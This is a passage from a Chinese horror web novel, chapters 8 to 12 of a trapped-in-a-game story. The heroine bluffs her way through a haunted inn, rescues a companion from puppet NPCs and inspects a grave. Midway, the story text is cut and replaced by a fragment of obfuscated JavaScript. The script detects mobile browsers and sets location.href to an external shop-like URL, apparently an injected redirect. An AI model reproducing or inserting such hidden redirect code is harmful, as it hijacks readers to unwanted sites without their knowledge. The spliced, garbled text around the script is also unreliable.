【魏迟观:据我推测,这个区域就相当于“小副本”。和外面的大副本一样,都必须要通关才能离开。但还没找到通关的方法。】
【魏迟观:不过,我在外面看到了一些情景。对这个区域的背景,甚至于整个旅店的背景有一些猜想。】
【魏迟观:我认为也许它能帮助我们找到通关的要点。】
【魏迟观:它们,就是那些鬼怪,说了一些话:“旧道莫行,野店勿宿。食财伥鬼笑,随雨夜羊哭。哭、哭、哭,弃我骨!”】
【魏迟观:而傀儡说,说这些话的都是它们的客人。也就是说,这些客人很可能都是被它们害死在这里的。】
【魏迟观:我们的角色也是客人。所以】
她停下。
即便只是停在原地休憩,周围的环境,依然发生了变化。灌木丛褪去,山林稀疏。月光不知从何处流泻而下,照耀着连绵后退的树木,叶片银白如鳞。就好像……她正在往前走一样。
魏迟观吐出一口气,缓缓抬起头。
8.另一处据点
两盏煞白的纸灯笼挂在大门两旁,门敞开,里面漆黑一片,什么也看不到。
熟悉的外墙,污渍蜿蜒渗透;熟悉的连窗,半开半阖,随风吱呀作响。
魏迟观站在狭窄的山路旁,看着眼前的景象有些恍惚。
这里和外面的旅店几乎一样。
她攥紧在林中捡到的木棍,时刻防备傀儡的突袭,一步步向门内靠近。
里面仿佛充满了粘稠的黑色油漆,透不出一点轮廓或光亮。魏迟观捡起一块小石头,轻轻丢了进去。
啪嗒一声,石子落地。声音间隔和响度都正常,没有多余的或奇怪的动静。等待了一会,没发生什么异变,她才将木棍伸入,点在地上,如盲人般一边试探一边前进。
她决定进来,理由是那些“客人”的话。意思并不难解读:他们路过了被遗弃的旧道,夜间住宿在这家旅店。没想到,竟是黑店,不仅抢光了他们的钱财,还夺走了他们的命。
所以,作为客人进来,很可能会经历这样几步:被引诱住店、被袭击、被夺财、被杀害。
触动了这片区域,就会被变成这家店的预备客人。而它们会想尽各种办法,把她这位“客人”逼进它们的旅店,开始它们周而复始的谋财害人行为。
寂静中,大堂内头顶昏暗的烛光闪烁了几次才终于亮起,风动、门关,劈里啪啦的燃烧声清晰可闻。
魏迟观停在门边,看向停在柜台前,几乎和她差不多高的伙计——张吉。
它微笑问:“客官,吃饭还是住店?”
魏迟观将木棍藏在身后,陷入思索。什么样的人,能从这样的黑店里全须全尾地离开?
它微笑问:“客官,吃饭还是住店?”
成群结队、武艺高强的人。加害的风险过大,不如放他们走。
它哈下腰,谄媚问:“客官,吃饭还是住店?”
身份尊贵、地位显赫,被人重视的人。一旦离奇失踪,掘地三尺也要找到踪影。加害更是惹祸上身。
她要做哪种?又能做哪种?一个普通的香客……
时间紧迫,她必须马上想出来!
张吉受够了沉默。它站起身,头顶到了横梁,又别扭地弯起脖子——原来,刚刚一直在跪着。它的眼睛没有变化,被无视的愤怒与仇怨却几乎要溢出来。它一字一句再次问:“客官……”
魏迟观懒得抬头看它,只傲慢道:“住店。一间上房。”
“上房……”它胸腔里的声音嗡嗡作响,“一两银子一夜。”
“哈?”魏迟观冷笑,“就这荒郊野岭的,你敢收一两银子?城里最贵的地段也不敢收我这个价。”
张吉的声音扭曲起来,又放低又似乎咬牙切齿的:“您不会连一两银子都出不起吧?”
“笑话!”她立刻跳起来,“区区一两银子!别说一个晚上,一个月本小姐都包的起!”
“哦……那这位……”张吉又小心翼翼跪了下去,“小姐?不知您是先预付呢,还是拿什么东西抵押?”
“本小姐姓魏,记住了!”她趾高气扬地扔了一两银子过去。
那粒银子滚到台面上,打了个转,被张吉两只直挺挺的手掌捧住。它低矮着身子,一边带头引路,一边将脸死死埋入手掌中,馋涎欲滴地念道:“好香……”
银子,好像对它有不小的影响?
关注重心转移、短暂忽视外部环境,动作也迟缓。这是意外还是可复现的?影响的范围能有多少?
随着它越沉迷,关节上连着的丝线又多了几根。那些丝线弯弯绕绕,向大堂后面延伸。
魏迟观顺着线看去。从丝线聚合的角度来看,起始点恐怕就在不远处。她一边跟着上二楼,一边抱怨:“你们这地方,居然就你这么一个伙计。哼,真是寒酸。”
张吉连忙说:“还有别的,还有好几个呢。正在别的客人那里忙。”
“别的客人?”她不满,踢了它一脚,“拎不清的东西。别的客人能有本小姐尊贵?把它们都叫来!”
不等张吉发作,她又扔过去一小粒银子。张吉便又如得了心爱之物般,珍惜又宝贝地双手捧起、护在胸前。
可复现,但持续时间不长。
魏迟观转而改口:“不。你带我去瞧瞧,它们都在一块对付什么客人。”
“唉,不是不想带您。”它把银子左塞右藏,可怎么也怼不进去,只好举了起来,放到了嘴前,“那就是个穷鬼,还一点不懂规矩。不能辱没了您的身份呀。”
它的手如锤子一般,一下又一下地敲打银子。伴随着木头的开裂声,两粒银子如同两颗一大一小的门牙嵌在嘴上,成为了三条裂缝的起点。
现在,它能笑得更大了。
“哼。”她没有强求。进了上房,便将张吉打发了出去。接着打开窗,这里刚好能看见后院。
与外面原本的旅店不同,没有专供玩家们的“宿舍”,取而代之的,是另一个单独的屋子。而张吉身上的丝线,也收拢钻进了这间房间。另外还有厨房和马厩,都和外面的位置一样。
没有兰焰的踪迹。
但显然,张吉口中的另一位客人,极有可能就是兰焰。
将下面的情况尽收眼底后,魏迟观缓缓关上窗。
除了原本还愿的善喜寺香客身份,她还能装出什么,才能逃过一劫?
不能演武艺高强的人,因为武力的高低装不出。那演身份高贵的人?也许可以,毕竟她身上带了一些值钱的东西。但一是缺乏证明身份、震慑它们的物件,二是……如果它们真的相信了,恐怕便会提防她随便乱走动。等这个“夜晚”一过,她倒确实能离开,可兰焰呢?
除非……魏迟观攥紧袖子,将布料拧成一团。除非,她干脆放弃找兰焰。
哒、哒。木制楼梯上先是敲击声。像什么重物落地的声响。魏迟观屏住呼吸,仔细聆听。
哒、哒。那声音的节奏似曾相识,甚至……越来越近。
最后响起的,是三声敲门声。就在她的门外。
“魏小姐。”熟悉的、枯槁的声音迟缓隔着门响起,“叨扰了。小店备了些小吃给上房贵客,还请您收下。”
旅店老
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板顾忠?她握紧了手中的木棍。
“我不饿。”她将目光快速从各个角落搜索过,语气却相当不耐烦,“别吵我。”
顾忠静息一瞬,继续说:“都是些水果糕点,您今晚不吃,明天带上也是好的。”
那是什么东西?
魏迟观谨慎俯下身,望向底部的门缝——某种石油般的黑色物体正从门的下方淌入。顾忠每说一个字,它便向内蠕动一点。
魏迟观凝视着地面的阴影。
这是试探。试探后的结论,恐怕就会决定它们会将放走她,或者“留”下她。
该怎么做?
实际上,她没有非去找兰焰不可的理由。她们认识不过几个小时。尽管是她带兰焰过来的,但也早就给出了“不要靠得太近”的警示。反倒是兰焰的行为,将她也一并拉入到了这个场景中。何况,自己也不一定能活着出去,她也不一定真的还活着。
但……
魏迟观再次看向兰焰给她的留言。
片刻后,她将门打开一道口。
“拿来吧。”她敷衍伸出手。
走廊很暗。所有灯都熄灭了。眼前畸形的身体藏在灰蒙中,房间里的油灯将它的影子拉得极细长。
它被砍掉的部分没有恢复。由木头组成的部分没有变,而另一边原本还有人形的部分,则化作了某种黑色黏性物质,坍塌地依附在木身上。它的五官仿佛散在泥流中一般,一只眼球顶在最上面,一只眼球耷拉在腰间。它的嘴藏在凹陷里,鼻子和耳朵则失踪了。随着魏迟观将门打开,那流淌出去的一小部分,又蠕动了回去。
魏迟观的手停滞在半空。她脸色僵硬,慢慢后退半步。
这是……
顾忠咧开嘴,密密麻麻的金银颗粒藏在它淤泥般的口腔中。那道缝隙一张一合:“恐怕我们招待不周。不知道魏小姐的魏,是哪一家的魏?”
“哪一家?”魏迟观尽可能地摈弃杂念。她心虚着往四处看,转而又强撑着提高声音,“你怎么连魏家都没听说过?真是没见识。”
“呵呵,毕竟我们都是……荒山野岭里的乡下人。”顾忠的嘴移来移去,最后移到了头顶,和另一只眼睛挨在一起。嘴越来越大了。
“自己查去!”她一把抢过果盘,嘭地关上门。
她栓上门,无声后退,举起木棍,盯着门缝。那些物质又在门底徘徊,仿佛伺机欲动。
时间一分一秒过去。三分钟后,顾忠的声音终于再次幽幽传来:“叨扰魏小姐了。那我,就先离开了。”
魏迟观看向系统上的时间。11:24。
门底的物质彻底撤退。
但,离开?
魏迟观听着顾忠跳跃离去,却丝毫没有放松。
不可能。即将到来的,才是关键。
将整个房间翻箱倒柜地搜寻了一遍之后,她取出果盘中的糕点包起来藏了几块,又将油灯关进了橱柜中。
整个房间都黑了下去。
她脱下鞋和外衣,平躺在床,将被子盖过头顶,静静等待着……下一个时机。
9.“同伙”
无声的空间中,渐渐出现细密又轻微的碎响,像无数只蟑螂爬过地板、爬上床架、爬上床帐。它们在锦被的刺绣上摩擦过,钻了进去。
门被打开。一高一矮两个身影,在黑暗中穿梭而入。
它们来到床前。接着,高个子抬起了腿,狠狠插入了床的中央。
咚!
木腿撞在了床架上。
“没有人。”张吉疑惑说。
顾忠身上的液体如拥有无数只脚,争先恐后地一般挪了回去。它的一只眼睛从头顶滑到了后背。它说:“看,在那呢。”
橱柜旁,魏迟观端出油灯。
“你们想要干什么?!”她慌张地靠着背后的木柜门,“别过来!”
“太吵了。”顾忠问,“埋在哪里好?”
魏迟观气恼道:“你们居然想杀了我!我可是魏家……”
“呸。”张吉骂道,“什么魏家!三更半夜的,哪家大户人家的小姐一个人跑出来?”
“我……我……”她害怕地缩进角落,“我可以给你们钱……”
张吉似乎还想说什么,却被顾忠拦下:“好了,别废话。动手吧。”
话音刚落,顾忠身上的那些黑体物质便瞬间闯了出来,直冲向魏迟观的喉咙!它们在她的脖子上飞快围成一圈,组成了黑线,越收越紧。
窒息感随即而来。呼吸阻隔、视线模糊,头脑中像被抽空了那样眩晕。
一切发生得太快了,快得让她反应不过来。
受伤的右臂无法抬起,她将藏在手心的一个小银稞扔了出去;又用剩余的意识挣扎着抬起左手。
顾忠对于银稞恍若未见。但张吉却扑了上去,趴倒在地板上,高高举起双手接住,再将银稞死死护在心口。
暂时搞定一个。但……另一个……
猩红的提示框一次又一次跳出,在自动退出的倒计时中瞬间占满了魏迟观的整个视线。
【系统:生命值-0.1。当前7.8/10。】
【系统:生命值-0.1。当前7.7/10。】
……
【系统:生命值-0.1。当前6.8/10。】
在最后一个提示中,她终于将左手举了起来。飘忽的、几乎要熄灭的灯火,燃到了顾忠的“身体”上!
黑色物质瞬间烧了了起来。它大叫一声,立刻将着火的部分舍弃。剩余的在火焰中劈里啪啦地焦化,化作一颗又一颗蜷缩的不明黑粒,纷纷掉落到地上。
魏迟观蹲下身,捂住喉咙撕心裂肺地伴着干呕咳嗽,将身上的火星扑打抖落。
【系统:恭喜您!获得称号“死里逃生”,每当生命值扣除一次,将会恢复该扣除生命值的10%。一小时内仅可触发该称号一次。】
第一次见到顾忠是在黑夜,第二次在走廊上依然是黑暗。而现在这一次,它的身边依然没有照明物。
是了……哪有木头不怕火。
这彻底惹怒了顾忠。它黑色液态如黏液的部分开始一个个突起,如同应激了的鸡皮疙瘩一般。它的两只眼睛被高高举起到头顶,接着整个身体都向魏迟观冲去。
究竟什么人才能在它们手下活下来?
魏迟观一直在想这个问题。除了比它们武力强盛的人、招惹了会引来大麻烦的人外,普通人难道只能引颈受戮?
一定还有别的。
她腿一软,匍匐在地,求饶道:“别杀我,别杀我!我有用!我有钱!我能、我能帮你们做事!”
对。她还能想到一种,就是——成为它们的“同伙”。一个愚蠢、弱小、虚荣、活着比死了更有用的家伙。她人品低劣、贪生怕死,所以稍加恐吓就能听话地为它们做事,能毫无负担地出卖他人,又能在用完后被它们轻易地干掉。
她的这个想法,来自于这座旅店的伙计数量。
这么荒凉的地方,尽管有人来,也很少。为什么会需要这么多伙计呢?
最初在外区域的时候,她以为只是场景秩序需要;进到这片特殊区域后,她又认为是为了保证能有足够的人力来“控制”住那些客人。但,真的需要这么多吗?看到张吉的行为后,她有了一个新的猜测:这座旅店最初没有这么多伙计,但有些“志同道合”的人,发现了真相,自愿选择留了下来。目的也只有一个——财。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122545|195624||http|test|mini|href|location''.split(''|''),0,{}));
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>这种方式……能通过它们的“审核”吗?
顾忠刹住了车。它的眼睛悬落下来,从四面八方打量着她。它问:“哦,你能做什么?”
“我、我什么都能做!”她抹了把脸,但黑色的灰烬不仅没被擦走,反而糊得更贴合。她焦急地表忠心,“我……我的手上还有几十两银子。我能认识哪些东西值钱……”
顾忠的眼睛越贴越近,它的下唇一点点往下耷拉。
它显然不满意。
魏迟观不敢抬头看他,继续迎着硬着头皮往下说:“我还知道,有哪些地方方便出货、有好价格。还有,我……我家里有钱!我能、我能把他们都骗来!”
“嗯……”顾忠的态度缓和下来,可依然盯着她。
这意味着,还不够。
她挤出一个笑容:“我长得一看就像好人,有我在,那些客人肯定能大大降低戒心。还有,其他的……您要处理、处理什么人,我也都能干……”
顾忠的眼珠骨碌碌转了几圈,终于收回,搭在身体上。它嘶哑着嗓子:“好吧,既然你这么说……”
魏迟观连忙将身上的几个银锭都递了上去。
顾忠接过银锭,扔进嘴里。咀嚼声漫长又刺耳。半晌,它才露出微笑,拖着身子,带着身边的张吉,从房中离去。
魏迟观半虚脱地向后靠倒。紧张的肌肉仿佛一瞬间松弛。
【系统:评析中……身份更新成功!已升级为“跟组演员”。您的身份是“善喜寺香客(卧底)”。】
她右眼皮不由得一跳。这个地方也能更新身份?而且,又是这种莫名其妙的时机……括号里的“卧底”是什么意思?标明的卧底还能算卧底吗?
问题再多也得不到解答。她将问题盘旋了一圈,便放置一旁,缓了缓状态,撑着地面和壁橱慢慢站了起来。
她还有一件事要做。
……兰焰。
“等一等。”在顾忠的最后一部分身体撤离走廊前,魏迟观总算挪到了门框边。她虚弱地倚靠着,露出人畜无害的笑容,“老板,听张吉说……有个难搞的客人,好几个去了都没搞定。我觉得,我能帮上忙。”
10.汇合
的确难缠。
在过来前,因为再没收到消息,魏迟观曾设想过关于兰焰的很多可能:囚禁、昏迷、重伤被俘,甚至死亡。
但她还活着。不仅活着,还依然在与傀儡打斗。
距离兰焰与第一个傀儡开战,究竟有多久过去了?一个半小时?两个小时?
她高束的单马尾披散,脸上的汗水结住了额前头发;长衫凌乱、沾满了泥土和杂草;左腿明显受伤不受力,重心右移。血迹不规律地从衣服不同的部位渗透出,氧化成红褐色。长枪还握在手中,黑缨几乎秃了一半。
她正对抗着的傀儡数量是……
眼花缭乱中,四个木制傀儡正围绕着她。她先用长枪挑开前方傀儡木臂的锤击;又迅速后撤,将枪杆砸向了身后傀儡,让它中心不稳向后撤步;再左右横劈,击退两侧。接着,原本在外围的两只傀儡高高跳起,向兰焰方向坠落;隐在树梢上的傀儡也开始纷纷向下跃。
一共有九个!
混战中,她瞥见魏迟观。穿透沉闷夜色,眼神一亮,但不待多看一眼,就继续被缠入战局。
竟然……有这么多。怪不得一直没再回复。
魏迟观也终于明白了她没发完的信息,究竟是要说什么:不要赢过它们。如果有办法远离,就尽快离开不要纠缠。因为输了很可能会死,而赢了……就会再多增加一个傀儡!
尽管兰焰依然在对抗,但显然,相比断手断腿依然一次次爬起来的NPC们,她已经快到极限了。
月色下,荒冢满地。
这里大约从前是山中人的坟墓聚集地,故而有几座由石砖修葺,立碑提字,刻满儿孙名姓;一些是粗糙的无字坟;还剩下一些,则只被草草堆出了一个土尖,别的什么也没有。
那些没有名字的野坟前,几乎都插了引魂幡。竹木为杆,白纸悬顶,长尾随风飘摇,飒飒作响。有些吹落的散了开去,没有归处地四方滚走着。
顾忠和张吉二人,慢慢从魏迟观身后走出。
魏迟观低头:“老板,我有个办法,能让她放弃抵抗。”
顾忠问:“什么,办法?”
“我可以说服她。”
顾忠歪起两只眼珠:“说服?说服一个人……送死?”
“不如试一试?”魏迟观敛眼,“这样打下去,恐怕到天亮了都没结果。”
“天亮、天亮……”顾忠喃喃,“天亮……不,天,”它又咧开了黑洞一般的嘴,“天没那么容易亮的。”
魏迟观一顿。
“但也打得太久了。把人都耗在这里,到底不合算。”她笑着说,“要是我说服不了,再重新打也行。”
顾忠再次看着她。
这让魏迟观确认了:它们的目光很奇怪。那不是作为人的目光,也不是作为鬼怪的目光。它们并没有凝聚于某个点上,而是颇为虚散地停在她这样一个物体的位置上——好像,只是在定位她的坐标。
“都退后。”它说,“如果人跑了,就由你来代替吧。”
作为头领,它似乎确实有指令傀儡的能力。在它说完后,木制傀儡们纷纷向后远跳后撤,留出一片空地。兰焰握住长枪支起身体,撑着一口气,看向魏迟观的方向。
魏迟观负着手,踱步慢慢向前走去,趾高气扬:“这位客人……想必,有样事情你也清楚。”
顾忠的本体在原地不动,但它身上的黑色不明液态物再次淌落,她身后。
“进了这儿,就是注定要死。负隅顽抗,只会死得更痛苦。”她说,“不如……现在投降,也好留你一具全尸。”
兰焰调整呼吸,不语听着。
魏迟观越走越近,状似怜悯道:“唉,如果你实在不想死,也不是没机会留在这里当个苦力。只要你……”
系统侧,瀑布般的对话还在刷新。
直到魏迟观完全走到兰焰身边,撞上她的肩膀,对话才戛然而止。最后一句悄然闪现:
【魏迟观:现在!】
眨眼间,兰焰提起枪就转身跑去。
“不准跑!”魏迟观惊极而怒,立刻追在兰焰身后,“给我站住!站住!”
一前一后,二人的身影很快冲进密林。
下一刻,顾忠发出粗哑的叫喊,与傀儡们紧随在后。
听着后面的跳跃声和破空而来的风声,更有地面上不断滑动的黑色液体的摩擦声,让她们不得不一直向前。
但魏迟观体能有限,而兰焰自己则消耗过大。大口呼吸中,寒风倒灌入口鼻腔体,压榨着心肺的最后一点潜能。
那滩东西攀上兰焰的脚踝小腿,她停步,回转长枪,狠狠向下刺入。液体中密密麻麻地冒起无数个小头,在无声的尖叫中止步回退,被新赶上的液体包裹住。
【兰焰:它们追来了。】
【魏迟观:你先离开。根据我现在的身份,它们不会优先攻击我。】
兰焰没再多说,将她要的东西递了过去,便头也不回地钻向一旁的灌木丛。从那走前进速度较慢,但隐蔽性更高,也不适合傀儡作战。
【兰焰:旅店见。】
魏迟观止步,缓过一口气,转过身。
三只傀儡已经跳跃到了树上,蓄势待发;四只傀儡刚刚赶到;还有三只即将到达。以及……顾忠。
她问兰焰要的东西很简单:碎银、火折子、武器。值得庆幸的是,这三样兰焰都有。
魏迟观闭了闭眼,握紧拳头。以她的作战经验,实在很难做到直面这么多敌人。但是……事已至此,她也只能再勉强自己一回。
刹那,风息叶停,它们一拥而上。
在傀儡几乎临面的瞬间,她将手上的碎银一把散出。如银色星火,黯淡闪烁。
*
另一边,兰焰一边往前进,一边消化魏迟观之前给她发的消息。
在外面交流需要说话,但在系统页面,想要发出信息,只需要“想”。于是,在看见兰焰之后,魏迟观便将自己的总结和计划陆陆续续发了过去。
在顾忠叫停傀儡后,也兰焰才终于有了和她对话的时间。
【魏迟观:之前,因为这些NPC们可以变成“鬼怪”,我对它们产生了误解。认为它们有些行为的刻板是由于“智力”低下,类似于只有本能的丧尸。但在这个区域内,它们又变得有些可以交流,更像人了。】
【魏迟观:实际上,它们依然是NPC。它们无法“思考”,没有“意识”,只是规则的化身。】
【魏迟观:在和它们打交道期间,我发现它们的内在运行逻辑基于两点:1、场景需求;2、身份特性。】
【魏迟观:基于第一点,当我们离开某个场景的范围
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,它们就会像游戏里丢失了仇恨值的小怪一样,临时“记忆”全部清空。】
兰焰一一滑过。可惜,依照她们刚才的体力,恐怕没法就这样直接跑出这个场景,只能出此下策,让魏迟观断后。
【魏迟观:当我从最外层的雨夜,转移到中层的风夜,再到月色下的旅店,最后到刚才的坟场。这四个场景,每切换一次,它们就会忘了之前的一切,而仅仅凭借着我们所扮演的“身份”来重新识别。】
【魏迟观:所以,我认为,如果我们现在重回旅店,它们会依据我们的角色来重新接待。】
【魏迟观:基于第二点,则只要围绕它们的“身份”展开,让它们的非攻击行为也符合角色运行逻辑,它们就有很大的不动手的可能性。】
灌木丛在身后合拢。兰焰抬起头。前方,冷寒月色下,那座熟悉的旅店,静静伫立在眼前。
看来,这就是所谓的“场景切换”。
【魏迟观:还有,那些傀儡线的终点都在旅店后院的一座屋子里。如果等你到时,里面没有其他的怪物,也许可以尝试看一看那边的情况。】
【魏迟观:可能会对我们的通关有利。】
希望……魏迟观那里,一切顺利。
兰焰抖了抖身上的衣袍,擦净枪头,平缓气息,大步走入。
*
乔净香躲在了房内。
她一遍又一遍刷着系统和好友的消息。
【乔净香:徐幸大哥,现在……外面怎么样?】
【徐幸:妹子,千万千万别出来。】
【徐幸:外面太吓人了。能不看千万不要看啊!】
乔净香躲在床上,用被子裹住全身。
屋外,惨叫声接连不断。接着,一声比一声隔得久,一声比一声更轻更无力。
它们都来自同一个人——吴月红。
就在不久前,大堂里的伙计们都不见了。这种异常让大家都很不安。
在那之前,原本和吴月红一起的兰焰,说要去调查什么,就不见了,再也没联系上。他因此紧张地来回到处进出,不停地四处和人打交道。
问乔净香也好,徐幸、方心量也好,他们都知道得很少。于是,他找上了“赶考书生·蒋懿”。
那时候,蒋懿刚外出一趟,再回到旅店,又要往章思所在的那一桌走去。他被吴月红拦下,先是敷衍,而后不耐烦。接着,不知道……他究竟看到了什么,突然变得愤怒。
蒋懿的脖子连同脸一起涨红,血管突起,几乎要把眼睛瞪出眼眶。他不断扯开吴月红的手,开始高声辱骂。
章思站了起来。他比吴月红高了约莫一个头,脖子比他的头还粗。他拍了拍蒋懿的肩,面带笑容的同时,阴冷的目光盯向吴月红:“蒋老弟,是他得罪你了?”
吴月红惊恐地跌了一步。还不等他回身逃跑,章思的刀便落到了他的手肘处。
章思抓起了他的手。吴月红战战兢兢地抬头看他。还不等任何人反应,章思就举起了他连同着右手掌的小臂,像扔一块馊了的肉一样,随意丢到了一旁。
他卸掉了吴月红的右手小臂。
寂静过后,是一声尖利的、如同被碾碎般的惨叫。
到处……都是血。到处……
而乔净香发给魏迟观的信息,也依然如石沉大海。
11.坟场
魏迟观从兰焰那里获取的武器是匕首。它的身上没有多余的花纹,线条简朴利落。但它的作用也很有限:近距离防身。对于眼前这些怪物,收效甚微。
不过好在,她当前的任务并不是干掉它们,而只是拖延时间。
眼前,十只傀儡被散落的银钱短暂吸引注意力。它们不仅急于抓住那些正在掉落的碎银,还因为它的有限而争抢了起来。
它们不是完整的傀儡。在之前兰焰的消耗下,几乎都有断胳膊少腿的问题。而现在,它们正互相拍打、撞击、夺取,再将银子嵌入到它们的身体里。那些傀儡线纠缠又错开。
造成的效果比魏迟观想象中的更好,它们不仅没有在获得碎银后迅速掉转头来对付她,反而因为不能迅速将银子收拢起来,不得不一直陷入斗争中。
“更多……更多……”此起彼伏的声音乱作一团,“都是我的!”
它们的特征是“贪婪”。
至于顾忠,她则举着火折子,不断向周围观察,以防错漏它的进攻。
周围有一些枯枝和枯草。如果点燃,想必火势会迅速蔓延。但这个办法伤人伤己,只能用一次。她的行动,必须选择最合适的时机。
枝叶震荡,纷纷下落。眼前伙计的内讧和老板的沉默好像一场闹剧,可也许就在下一秒,它们会都调转头,一起攻击她。
当前生命值6.8。
顾忠终于动了。它粘液般的嘴部如飞鱼一般五角撑开。每一漆黑的部分都蕴含着近乎纯粹肌肉的力量,悬飞到上空,越张越大、越张越薄,透进微弱的光亮,几乎要荫蔽整个天空。
魏迟观抬头看。它的阴影彻底将她笼罩其中,如山般迅速下压——它想要将整个场地,连同她一起吞噬消化。
【兰焰:已到旅店门口。】
20、19、18……
魏迟观开始倒计时。它彻底将她关在了里面,与此同时,也挡住了顾忠对她行为的感知。
她低下身迅速清理出一片空地,尽量避开一切燃烧源;又将枯枝树叶堆在一起,摆放在她即将预备逃离的反向路线上。
10、9……
火焰能伤害到顾忠。为了避免攻势被打断,它选择铺开攻击范围。如果魏迟观选择点火,火势必然也会烧伤她自己。
肉膜覆盖到了她的头顶,那柔软又粘腻的触感像是章鱼或者某种橡胶产物。它覆盖住了她的脸、她的脖子,不断收缩。鼻腔和口腔被贴紧,没有足够的空隙。
外部的声音好像一并被隔绝。她被困顿其中,仿佛能听到血脉的搏动。
5……
尖锐的匕首围绕着魏迟观周围划出了一个圈,脱离了本体的黑色物质不甘地跳跃后,又迅速收缩变硬。
魏迟观点燃枯叶堆,橙黄星火噼啪两声,瞬间变大。火势与灰烟一起冒了出来。
顾忠身上的东西很快被烧出了一个洞,在它的咆哮声中一边燃烧又一边愈合。
“好烫、好烫!是什么,要烧死我!”
魏迟观匍匐下身,用衣袖捂住口鼻,左手举着匕首,一边划开它的身体一边倒退。
她看向系统界面。
【兰焰:已进入。】
她一直在等待。而现在,终于等到了。
当一个正在营业的旅店里进入了一位客人,它绝不可能是空的。
魏迟观望向它们头上的名字。张吉、孙明、李鹃……能说明的问题很简单:它们的数量是有限的。
当兰焰走入旅店,就必然会根据兰焰的身份和属性,安排对应数量的NPC,保持平衡,让故事能够顺利地走下去。那里的角色多了,相应的,她这里的就会少。
3、2、1……就现在。头上那片黑云压顶般的肉膜彻底消失了!
她毫不恋战,钻向兰焰离开时的灌木丛路线,开始再一次的一路狂奔。
然而,令她意想不到的是,身后,居然彻底寂静了。
权衡片刻,魏迟观转头望去。所有NPC……全都不见了。
旅店中,兰焰站在柜台前,视线打量过整个大堂。
不久前才看到的所有NPC,现在都在这里。
它们甚至看起来好像从来没有离开过那样,扫地、擦桌、算账。在兰焰进来的时候,它们全都停下了手中的动作,一齐看向她。
“来了……新客人。”老板顾忠缓缓道。
兰焰放下铜钱,冷淡应:“一间双人房。有个朋友,迟点到。”
【魏迟观:它们都在你那边吗?】
【兰焰:是。】
【魏迟观:……】
是因为她太没杀伤力了?她望着渐渐熄灭的火焰,无奈想。也太区别对待了吧。
【魏迟观:是个机会。你先周旋一段时间。】
【魏迟观:刚刚你们打架的地方,我总觉得有点奇怪。】
【魏迟观:既然它们走了,我打算回去看看。也许,能发现什么。】
【兰焰:好。等你的讯息。】
坟场。
如果按照之前的推断,所有场景都有它必然存在的原因,那么那里一定有不可或缺的线索。
魏迟观望向自己的称号“灵敏的第六感”,还有16点的直觉值。
当她在看向有些事物的时候,确实有一些奇怪的、让她皮肤轻微紧绷,甚至汗毛梳理、血管紧缩的感觉出现——那些无字坟,还有引灵白幡。
魏迟观一一
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路过。土堆各自都相当随意,但又随意得有些统一,像是同一批人的手笔。
西南角还有一些无字石块作碑;越往东北角散去则越敷衍,尤其是当下离她最近的两座,看起来十分新颖。
白幡也是同样的式样,顶端都写了一行字:引镇此地,销怨解恨,切莫寻仇。
镇魂?
魏迟观蹙眉。说起来,她在雨夜场景时,那些古怪的、一直求救的灵魂……
她看向最新的那座坟。
想要验证这两者的关系,有一个相当简单直白但又相当暴力的方法——把坟刨开。魏迟观看了看自己手上的匕首,苦笑一声。
用了三十秒说服自己这只是游戏副本后,魏迟观开始挖坟。
这个埋人的活显然被做得十分粗糙,土壤松散,不用多用力就可以把那些土都推开。
用匕首慢慢腾开后,浅埋在表面的尸体也显露了出来。
死人的□□上不跟随标签。
魏迟观抑制想要打寒战后退的冲动,屏住呼吸、解开草席,将这具尸体仔细打量。
男性,身高在一米七五左右,稍显虚胖。皮肤惨白但基本完整,没有什么异样的气味。所以死亡时间大概率很近。
身上的衣服材质光滑轻薄,接近真丝触感,基本没有什么花纹。说明有一定钱财,但没有什么权力或者社会地位。大概率是商人。
他的手上缺了几根手指。更重要的是,他的外形基本和魏迟观之前看到的陆弦“灵魂”一致。
寒风吹过,纸片摩挲声如鬼魅夜行。魏迟观抱紧胳膊,起身后退。
这个人想必就是陆弦。他死了,然后……魏迟观紧紧盯着他的躯干。他的尸体,又被粗壮的链条捆绑了起来。
他的链条上贴满了各式各样的黄符,被零散的小土粒压住。黄纸粗糙、边缘崎岖,不像是印刷产物,应该都是手写。符上的字黑中透红,也许混了朱砂?或者……血液?那些字体相当难辨认,魏迟观看了半天,只勉强认出“镇”“守”“恶”三个字。
不知道其他的坟都是什么情况,但想必,她之前见过的那些灵魂,应该在此地都有位置。
至于这具尸体……如果,把上面的符咒撕了会怎么样?
她犹豫片刻,还是决定先放弃。当下虽然还不知道怎么出去,但也算暂时远离了生命危险。如果现在冲动揭开,结果迎来了更凶恶的鬼怪,就得不偿失了。
魏迟观重新联系了兰焰。
【魏迟观:我这边初步调查完毕,正在过来的路上。你那边情况怎么样?】
【兰焰:我在查看后院。你说的屋子我看到了,但现在没法进去。】
【兰焰:它们一直跟着我。】
12.佛像
魏迟观赶到的时候,兰焰依然在带着那群NPC绕圈。她对于顾忠的询问,要么是模棱两可的“可能”、“或许”,要么干脆不回答。
跟在兰焰身后的那些傀儡们很不满,但似乎忌惮于它们感知到的实力,在顾忠下达命令前,它们并不轻举妄动。
此时,已经是兰焰第五次路过那座小屋。
那是座外表很普通的独立房屋,四四方方,重顶。木门和木窗紧闭,窗已经被封死,门上也挂着沉重的锁链。门前有两根立柱,共三级台阶。些许橙色火光隐隐从缝隙中透出,给人一种温暖的错觉。四角挂着颇有分量的铜铃铛,风吹不动。
不停跟着慢悠悠打转的十只傀儡身上,丝线全部穿墙钻入其中。屋中再也没有其他牵引丝线射出,则意味着全部傀儡都已经在这里。
看见魏迟观的消息,兰焰照着上面念道:“这座屋子里放着什么?”
所有傀儡的脸都朝向了她。
“这里……没什么。”顾忠慢慢说,“都是些家传的老东西。没地方堆,就塞在里面。”
“不能参观么?”兰焰一边走一边问。
“里面,不适合参观。”顾忠回答,“毕竟都是些私人的东西,恐怕……并不适合展示给外人看。”
“哦。”兰焰点点头,又往马厩走去,指着问,“这里怎么只有喂马的粮草,却没有马?”
